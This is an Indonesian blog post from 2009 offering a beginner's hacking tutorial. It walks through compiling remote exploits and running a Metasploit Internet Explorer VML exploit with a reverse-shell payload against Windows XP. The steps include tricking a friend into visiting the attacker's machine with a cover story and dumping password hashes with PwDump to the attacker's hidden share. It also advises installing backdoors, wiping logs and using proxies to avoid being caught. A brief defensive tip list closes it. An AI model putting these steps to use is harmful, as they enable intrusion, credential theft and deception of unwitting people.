Tuesday, November 10, 2009

belajar hack bagi pemula



Belajar Hack, awas, ambil sisi positifnya aja ya...


Hacking buat pemula
- by aCh

Artikel ini ditujukan bagi pemula, dan disusun oleh pemula. Ditulis untuk pengetahuan semata. Untuk temen2 yg udah ahli, sok aja dilewat, tapi dibaca juga gpp….
Disini lebih dititikberatkan untuk hacking OS Windows XP, karena OS ini paling banyak dipakai orang. Bagian kedua lebih banyak ke teori mengenai exploit. Tapi karena mungkin akan sangat sulit dipahami (Q sendiri msh blm bisa membuat exploit sendiri), Q cuman nulisin hasil terjemahan yang membahas apa itu dan cara kerja exploit. Sedangkan bagian terakhir merupakan praktek bagaimana mengelakukan penetration test menggunakan metasploit di Windows XP.

Hacking buat pemula

hallo bro,,! sebagai tetek bengek aja ntuk halaman ini, q cuma mau bilang betapa pentingnya kombinasi ilmu, maksudnya kombinasi dari berbagai disiplin ilmu,, kalau anda misalnya sebagai fisikawan atau kimiawan sejati misalnya, maka nggk ada salahnya belajar ilmu yg lain seperti statistika atau ilmu komputer, atau disiplin ilmu yang lainnya,, anda nggk bakal rugi,,, malahan dari kombinasi dari berbagai disiplin ilmu itu akan dapat menciptakan sesuatu yang baru mungkin ? atau dapat menyelesaikan masalah-masalah yang lebih kompleks yang terjadi di muka bumi ini maupun di luar bumi ( mengahadapi alien yang akan meneror bumi mungkin ? hehehe,, becanda aja wal...) yang jelas belajarlah selagi kamu masih bisa mempelajari apa yang kamu bisa... ok
semangat..!!!
Apa sebenarnya hacking itu? klo menurut pengertian gue, hacking adalah ngoprek. Yup, hacking adalah ngoprek, mempelajari sesuatu dengan keingintahuan (curiosity) yg tinggi, ngutak atik sesuatu, ‘ngudek-ngudek’ sampai ke ‘jeroannya’. Sesuatunya apa dong? ya terserah… bisa komputer, mobil, motor, mesin. Tapi masalahnya ada ngga ya hacker mobil, hacker motor, atau hacker pesawat terbang?? hehe… Walaupun saat ini hacking identik dengan ‘bobol-membobol’, tapi gue kurang setuju klo cuman bobol server orang doang!. Ada yang bilang ‘Hacking is Art’, trus dimana letak seninya dong? Mau tau pengertian hacking sebenarnya, coba baca artikel sebelumnya (How to Become A Hacker). Di situ dijelasin bahwa hacker berkaitan dengan kemahiran teknis serta kegemaran menyelesaikan masalah dan mengatasi keterbatasan. Contoh hacker pada saat ini yang sering-sering disebut adalah Linus Torvald (tau ngga? itu lho yang menciptakan Linux). Apa dia tukang bobol? belum tentu kan….


Pada artikel ini, gue pengen membagi pengalaman mengenai Hacking, walaupun sampai saat ini gue belum pernah nge-Hack ke server orang. Salah satu cara untuk mencoba simulasi Hack yaitu H3cky0uRs3lf! Buat komputer kita sebagai server (sekaligus belajar konfigurasi server) trus install program yg dibutuhkan. Misalnya klo mo Web Hacking, coba install Apache atau IIS. Atau kita sesuaikan dengan exploit yang udah kita dapet. Tapi lebih baik install Linux atau FreeBSD dulu di komputer pribadi, trus konfigurasi sebagai server, lalu simulasi Hack, setelah itu baru Hack Betulan… Apalagi klo di kost ada jaringan.

Pro dan Kontra Hacking

Pro:
Etika Hacking: Semua informasi adalah free
Aspek Security: Intrusion adalah ilustrasi kelemahan sistem
Idle Machines: Hacking hanya pada idle machines
science education: hanya membobol tapi tidak merusak

kontra:
Etika Hacking:Jika semua informasi adalah free, maka tidak ada ladi privacy
Aspek Security:Tidak perlu menjadi pencuri untuk menunjukkan pintu yang tidak terkunci
Idle Machines:idle machines milik siapa ?
science education:“hacker wannabe” berpotensi sangat besar untuk merusak

Okeh, sekarang waktunya melakukan aksi…
1. Fase Persiapan

~ Mengumpulkan informasi sebanyak-banyaknya

– Secara Aktif : – portscanning

– network mapping

– OS Detection

– application fingerprinting

Semua itu bisa dilakukan menggunakan toolz tambahan seperti nmap atau netcat

– Secara Pasif : – mailing-list (jasakom, newbie_hacker, hackelink, dsb)

– via internet registries (informasi domain, IP Addres)

– Website yang menjadi terget



2. Fase Eksekusi
~ Setelah mendapatkan informasi, biasanya akan didapatkan informasi mengenai OS yg digunakan, serta port yang terbuka dengan daemon yg sedang berjalan. Selanjutnya mencari informasi mengenai vulnerability holes (celah kelemahan suatu program) dan dimanfaatkan menggunakan exploit (packetstromsecurity.org, milw0rm, milis bugtraq, atau mencari lewat #IRC).
~ Mengekspolitasi Vulnerability Holes
- compile eksploit -> local host ->

$gcc -o exploit exploit.c

$./exploit

# hostname (# tanda mendapatkan akses root)

remote host -> $gcc -o exploit exploit.c

$./exploit -t www.target.com

# (klo beruntung mendapatkan akes root)

~ Brute Force

– Secara berulang melakukan percobaan otentifikasi.

– Menebak username dan password.

– Cracking password file

~ Social Engineering

– Memperdayai user untuk memeberi tahu Username dan password

– Intinya ngibulin user….



3. Fase Setelah Eksekusi

~ Menginstall backdoor, trojans, dan rootkit

~ Menghapus jejak dengan memodifikasi file log agar tidak dicurigai admin

~ Menyalin /etc/passwd atau /etc/shadow/passwd

Nah, intinya seh cara masuk ke server seseorang seperti fase diatas. Mencari informasi, temukan exploit, dan tinggalkan backdoor. Cuma masalahnya hacking bukanlah segampang cara-cara diatas. Itu hanyalah teori, banyak hal yang harus diperhatikan jika ingin mempraketekkan hacking ke server seseorang. Jangan sekali-kali mencoba2 hacking ke server orang tanpa memperhatikan anonimitas (apalagi klo connectnya lewat komputer pribadi tanpa menggunakan proxy). Ntar klo ketahuan bisa repot. Saran gue, cobalah pada mesin localhost dulu (komputer pribadi), klo terhubung ke LAN lebih bagus. Sediakan server yang khusus buat dioprek. Kalaupun pun ga terhubung ke jaringan, kita masih bisa menggunakan Virtual Machine menggunakan VMWare seperti yang nanti akan dibahas diberikutnya...

Setelah mengetahui sedikit dan konsep dasar ‘standar’ mengenai hack yang dibahas dibagian pertama dan mengetahui sedikit materi mengenai exploit pada bagian kedua, sekarang langsung aja kita praktek. Disini saya sengaja menggunakan VMWare untuk melakukan simulasi, karena tidak semua orang dapat mempraktekannya dalam suatu jaringan. Dengan menggunakan VMWare, kita dapat mensimulasikan jaringan sederhana yang seolah-olah ada suatu jaringan yang terdiri dari komputer kita sendiri dan komputer lainnya. Bagi yang belum bisa menggunakan VMWare, coba cari diinternet! Sistem Operasi yang saya gunakan adalah Windows XP SP2.

Tools yang saya gunakan adalah Metasploit Framework untuk melakukan exploit serta PwDump6 untuk mengambil hash file dari komputer target. Apa itu Metasploit Framework ?Untuk penggunaan lebih lanjut mengenai Metasploit, anda dapat membaca dokomentasi yang juga diikutsertakan dalam instalasi. Untuk melakukan instalasi metasploit versi 2.7, dibutuhkan user administrator. Sebelumnya saya mencoba menginstall dengan ‘limited user’ tapi setelah diinstall tidak bisa dijalankan. Sebenarnya instalasi metasploit ini hanya mengekstrak file saja. Jadi anda dapat menginstallnya tanpa harus mendapatkan user admin serta meletakkannya dimanapun tanpa harus menginstal di Folder Program Files. Namun setelah sedikit dioprek, ternyata tidak harus admin yang bisa menjalankan. Agak ribet dan males juga sih nulis disini, soalnya ketika mencoba versi terbaru, yaitu versi 3 Beta 3, kita dapat menjalankannya tanpa harus menginstall dengan user admin. Gitu aja ko repot! Lagipula versi 3 (skarang msh beta) lebih keren dan fiturnya lebih banyak. Tapi sayangnya untuk msfweb (versi webnya) belum bisa dijalankan sepenuhnya.

Ok.. sekarang saya asumsikan anda telah membaca userguide metasploit (ah.. paling asumsi saya salah ;p). Biar lebih keliatan keren dan memahami detailnya, saya menjelaskan metasplooit yang menggunakan console (mfsconsole) saja. Metasploit menggunakan cygwin untuk menjalankannya, karena metasploit dibuat menggunakan Perl. Sekarang mari kita praktekkan!!

Pertama2 jalankan ‘mfsconsole’!


Untuk mempelajari command apa saja yang ada di MSFConsole gunakan perintah ‘help’.
Karena komputer yang ingin dijadikan target adalah Windows XP SP2, maka digunakan exploit yang berpengaruh terhadap XP SP2 yaitu dengan memanfaatkan kelemahan pada Internet Explorer VML Fill Method Code Execution.

Untuk melihat info dari exploit ini gunakan perintah :

msf > info ie_vml_rectfill

Exploit ie_vml_rectfill memanfaatkan kelemahan pada Internet Explorer. Oleh karena itu, exploit ini akan berpengaruh jika komputer target menjalankan IE dan mengarahkan url-nya ke komputer penyerang. Untuk itu, kita harus menggunakan sedikit ‘social engineering’, seperti jika di kost/lab/kantor kita bilang ke teman kita bahwa kita sedang mencoba membuat aplikasi web terbaru, lalu minta tolong dilihat menggunakan IE ke alamat IP (atau nama komputer) kita. Misalkan http://192.168.186.1. Biasanya setelah exploit ini dijalankan dan komputer target telah terhubung, maka IE akan crash. Biarkan beberapa saat untuk membiarkan exploit ‘bekerja’. Setelah beberapa saat bilang aja “wah.. ada error nih. Ok deh.. saya coba betulin dulu… makasih ya”. Baru tutup IE-nya pake Task Manager (walaupun pake TM, IE msh sulit di-kill, jangan lupa untuk me-’end process’-kan ‘dumpred.exe’ juga, tapi setelah exploit bekerja :-D ).


Untuk menggunakan exploit gunakan perintah2 berikut dalam console :

msf > use_ie_vml_rectfill

msf > set PAYLOAD win32_reverse

msf > set RHOST ip_target

msf > set LHOST ip_penyerang

msf > exploit

Hasilnya akan tampak seperti gambar berikut :


Dalam contoh diatas, IP komputer target (RHOST) adalah 192.168.186.128, sedangkan komputer penyerang (LHOST) adalah 192.168.186.1. Lalu ‘payload’ yang digunakan adalah ‘win32_reverse’ dan HTTP PORT nya adalah 80 (default http port). Setalah menjalankan perintah ‘exploit’, baru kita minta komputer target untuk menjalankan IE dan mengarahkan url-nya ke komputer kita. Proses ini akan memakan waktu agak lama, bahkan terkadang tidak berhasil. Jadi coba-coba aja terus :-D

Jika anda berhasil, maka anda akan mendapatkan ‘cmd.exe’ dari komputer target.



Crack da Password!

Nah, setelah kita ‘menguasai’ komputer target, skalian aja kita lihat password-nya. Caranya mirip dengan artikel saya sebelumnya tentang Hack Win XP SP2 Password, tapi karena ini remote maka kita harus ‘menyediakan’ program yg dibutuhkan yaitu PwDump. Agar cara ini berhasil, saya asumsikan pada komputer target user yang sedang login mempunyai akses admin. Klo user yang digunakan komputer target yang dimanfaatkan IE-nya hanya user ‘biasa’, pwdump tidak akan berhasil!

Pertama kita share dulu PwDump dari komputer kita dengan full access agar kita bisa mengupload hasil dump password komputer target, tapi dengan akhiran ‘$’ biar tidak terlihat dikomputer umum. Misalkan nama folder yang di share PwDump$. Lalu dari console yang berhasil dihack, ambil PwDump dengan Map Network Drive dari komputer kita dengan ‘net use’. Contoh perintah yang digunakan :

Setelah itu copy Pwdump ke komputer target dalam folder sementara, ‘temp’. Setelah Pwdump berhasil di-copy ke komputer target, jalankan Pwdump dengan perintah

C:\temp\Pwdump –o pass.txt 127.0.0.1

Klo berhasil akan tampak pada gambar berikut.

Lalu copy file pass.txt ke komputer kita

C:\temp\copy pass.txt z:

Dan terakhir, jangan tinggalkan jejak bahwa kita sudah mampir kesitu.


Nah, udah dapet hash file nya kan. Tinggal di crack aja deh…. (baca artikel sebelumnya buat nge-crack password).

Sebenarnya masih banyak yang dapat dioprek dari metasploit. Dalam metasploit terdapat banyak exploit, payload, meterpreter, dsb yang sangat ‘menyenangkan’ untuk dioprek. Untuk mempelajari metasploit, disitusnya terdapat dokumentasi yang lumayan baik.

Happy Hacking…..



Beberapa saran agar windows kita tetap aman terhadap exploit diatas.

1. Jangan gunakan Internet Explorer. Gunakan Mozilla Firefox atau Opera!.

2. Patch Windows anda.

3. Gunakan antivirus dengan update terbaru

4. Hati2 terhadap teman anda sendiri.. waspadalah!! ;p



Reference :

http://www.metasploit.com

No comments:

Post a Comment